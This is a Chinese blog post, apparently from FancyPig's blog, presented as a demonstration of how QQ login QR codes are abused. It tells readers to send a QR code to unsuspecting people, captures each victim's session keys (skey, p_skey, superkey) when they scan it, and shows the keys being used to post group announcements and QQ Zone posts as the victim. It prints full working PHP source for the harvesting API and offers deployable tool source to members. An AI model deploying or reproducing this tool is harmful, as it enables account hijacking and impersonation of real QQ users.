相关阅读
杂谈
在上期我们通过简陋的接口方式,进行了模拟QQ号扫码,获取QQ_skey等关键参数,很多网友表示,不够简单易懂!我们今天给大家做了几个小工具,带大家体验一下QQ二维码是如何被利用的!
在线工具
使用教程
接下来我们将模拟QQ盗号的完整过程
准备工作:获取QQ_Skey密钥
首先我们使用密钥工具
![图片[1]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712072213963-1024x340-1.webp)
页面上有二维码,你可以尝试投递给热心网友。再扫描成功之后,我们会获得下面的参数
![图片[2]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712072348900.webp)
主要有用的就是
- Skey
- P_Skey
我们会在后面使用这两个值完成一些有趣的事情
演示一:通过QQ_Skey查询QQ的注册日期
![图片[3]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712080319600-1024x534-1.webp)
演示二:利用QQ_Skey发布群公告
我们将准备工作中获取的Skey填入,并填写好我们要发布群公告的群号(必须是管理员或者群主)
![图片[4]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712073237569.webp)
这里我们可以看到群公告已经被我们修改了!
![图片[5]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712073111457.webp)
演示三:利用QQ_Skey发布空间说说
接口不稳定,如果发不出去等后续修复
同样方式,我们还可以通过这个密钥来发布QQ空间的说说
![图片[6]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712072453854-1024x540-1.webp)
可以看到空间成功发布了说说
![图片[7]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220712074641182.webp)
源码部署
我们也为🍕、🍔用户提供了源码,您可以自行部署独立版到服务器上研究、学习。
本文隐藏内容 – 披萨会员可见
以上是源码文件均是单独的页面,您可以下载之后直接上传到自己的服务器便可以访问!
有热心网友问到api接口源码能不能也发下源码,我们给🍔用户提供了api的源码
本文隐藏内容 – 汉堡会员可见
相关代码如下
<?php
header('Access-Control-Allow-Origin:*');
#指定返回数据为json utf-8
header('Content-type:application/json; charset=utf-8');
#get参数是否为空
function isgetnull($a){
if(empty($_GET[$a]) || !isset($_GET[$a]) || $_GET[$a]=='' || $_GET[$a]==null){
return true;
}
return false;
}
/*age
* 如果get参数中有qrsig,则判断为获取扫码结果,否则判断为获取二维码
* (也可在此加时间戳有效验证以及签名验证)
*/
if(isgetnull('qrsig')){
//获取二维码
echo json_encode(getqrcode());
}else{
$qrsig = $_GET['qrsig'];
//获取二维码扫码结果
echo json_encode(getresult($qrsig),JSON_UNESCAPED_UNICODE);
}
/**
* 获取二维码请求
*/
function getqrcode() {
$qrcode = array();
$api = 'https://ssl.ptlogin2.qq.com/ptqrshow?appid=1006102&e=2&l=M&s=3&d=72&v=4&daid=1&pt_3rd_aid=0&t=0.1415855' . time();
$paras['header'] = 1;#使返回时包含响应头(qrsig在响应头中)
$ret = get_curl($api, $paras)['allbody'];
preg_match('/qrsig=(.*?);/', $ret, $matches);
preg_match_all('/ (\d){3}/', $ret, $Conlen);
$arr = explode('SameSite=None;', $ret);
$qrcode['qrsig'] = $matches[1];
$qrcode['data'] = base64_encode(trim($arr[1]));
$qrcode['code'] = 1;
return $qrcode;
}
/**
* 获取扫码结果请求
*/
function getresult($qrsig) {
$ret = array();
$api = 'https://ssl.ptlogin2.qq.com/ptqrlogin?u1=' . urlencode('https://id.qq.com/index.html') . '&ptqrtoken=' . getqrtoken($qrsig) . '&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-1-' . time() . '&js_ver=20032614&js_type=1&login_sig=&pt_uistyle=40&aid=1006102&daid=1';
$paras['cookie'] = 'qrsig=' . $qrsig . ';';
$paras['refer'] = 1;
$paras['header'] = 1;
$allbody = get_curl($api, $paras);
$body = $allbody['body'];
if (preg_match("/ptuiCB\('(.*?)'\)/", $body, $arr)) {#正则匹配ptuiCB()括号中的内容
$r = explode("','", str_replace("', '", "','", $arr[1]));#用','分割
#第一个值为返回代码
if ($r[0] == 0) {
preg_match('/uin=(\d+)&/', $body, $uin);
$ret['code'] = 1;
$ret['data']['uin'] = $uin[1];#正则解析到QQ号
$ret['data']['nick'] = $r[5];#昵称
$responseheader = $allbody['header'];
preg_match('/Set-Cookie: skey=(.*?);/', $responseheader, $skey);
$ret['data']['skey'] = $skey[1];
preg_match('/Set-Cookie: superkey=(.*?);/', $responseheader, $superkey);
$ret['data']['superkey'] = $superkey[1];
#自定义
preg_match('/Set-Cookie:(.*?);/', $responseheader, $cookie);
$ret['data']['cookie'] = $cookie[1];
preg_match('/Set-Cookie: P_skeyToken=(.*?);/', $responseheader, $P_skeyToken);
$ret['data']['p_skeytoken'] = $P_skeyToken[1];
preg_match('/Set-Cookie: SkeyToken=(.*?);/', $responseheader, $SkeyToken);
$ret['data']['skeytoken'] = $SkeyToken[1];
preg_match('/Set-Cookie: QzoneToken=(.*?);/', $responseheader, $QzoneToken);
$ret['data']['qzonetoken'] = $QzoneToken[1];
preg_match('/pt4_token=(.*?)/', $body, $pt4_token);
$ret['data']['pt4_token'] = $pt4_token[1];
//上面代码为在请求后通过正在匹配以及字符串处理获取我们需要的值,如QQ号、昵称、skey、superkey 。再次访问$r[2]获取pskey
$paras['header'] = 1;
$pskeyresponseheader = get_curl($r[2], $paras)['header'];
preg_match('/Set-Cookie: p_skey=(.*?);/', $pskeyresponseheader, $pskey);
$ret['data']['pskey'] = $pskey[1];
$ret['msg'] = 'QQ登录成功';
//也可在此直接进行业务逻辑(无需验证),因为这里为从QQ官方的请求获取的信息
} elseif ($r[0] == 65) {
$ret['msg'] = '登录二维码已失效,请刷新重试!';
$ret['code'] = -4;
} elseif ($r[0] == 66) {
$ret['msg'] = '请使用手机QQ扫码登录';
$ret['code'] = 0;
} elseif ($r[0] == 67) {
$ret['msg'] = '正在验证二维码...';
$ret['code'] = 2;
} else {
$ret['msg'] = '未知错误001,请刷新重试!';
$ret['code'] = -5;
}
} else {
$ret['msg'] = '未知错误002,请刷新重试!';
$ret['code'] = 1;
}
return $ret;
}
/*
* curl模拟请求函数
*/
function get_curl($url, $paras = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//关闭https验证
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$httpheader[] = "Accept:*/*";
$httpheader[] = "Accept-Encoding:gzip,deflate,sdch";
$httpheader[] = "Accept-Language:zh-CN,zh;q=0.8";
$httpheader[] = "Connection:close";
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
if ($paras['ctime']) { // 连接超时
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, $paras['ctime']);
}
if ($paras['rtime']) { // 读取超时
curl_setopt($ch, CURLOPT_TIMEOUT_MS, $paras['rtime']);
}
if ($paras['post']) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $paras['post']);
}
if ($paras['header']) {
#是否返回响应头
curl_setopt($ch, CURLOPT_HEADER, true);
}
if ($paras['cookie']) {
curl_setopt($ch, CURLOPT_COOKIE, $paras['cookie']);
}
if ($paras['refer']) {
if ($paras['refer'] == 1) {
#这样可以设置请求头的referer,防止请求失败
curl_setopt($ch, CURLOPT_REFERER, 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?pt_disable_pwd=1&appid=1006102&daid=1&style=23&hide_border=1&proxy_url=https://id.qq.com%2Flogin%2Fproxy.html&s_url=https://id.qq.com/index.html');
} else {
curl_setopt($ch, CURLOPT_REFERER, $paras['refer']);
}
}
if ($paras['ua']) {
curl_setopt($ch, CURLOPT_USERAGENT, $paras['ua']);
} else {
#设置默认ua
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58");
}
if ($paras['nobody']) {
#设置是否不要响应体
curl_setopt($ch, CURLOPT_NOBODY, 1);
}
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$ret = curl_exec($ch);
if($paras['header']){
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$return_result['allbody'] = $ret;
$return_result['header'] = substr($ret, 0, $header_size);
$return_result['body'] = substr($ret, $header_size);
}else{
$return_result = $ret;
}
curl_close($ch);
return $return_result;
}
/** id.qq.comToken算法 ,同QQ空间Token算法*/
function getqrtoken($qrsig) {
$len = strlen($qrsig);
$hash = 0;
for ($i = 0; $i < $len; $i++) {
$hash += (($hash << 5) & 2147483647) + ord($qrsig[$i]) & 2147483647;
$hash &= 2147483647;
}
return $hash & 2147483647;
}
function retn($code,$str){
exit(json_encode([
"code"=>$code,
"msg"=>$str
],JSON_UNESCAPED_UNICODE));
}
总结
结合上面的示例,我们发现扫码之后可以获得很多权限
- QQ注册日期查询
会导致很多风险的出现,比如
- QQ群发布恶意公告
- QQ空间发布敏感内容
当然,拿到了Skey还有很多可能
- 查看关心的人列表
- 查看QQ空间访客
- 转发QQ空间说说
- 群发QQ消息
我们后面慢慢补充!
© 版权声明
THE END
暂无评论内容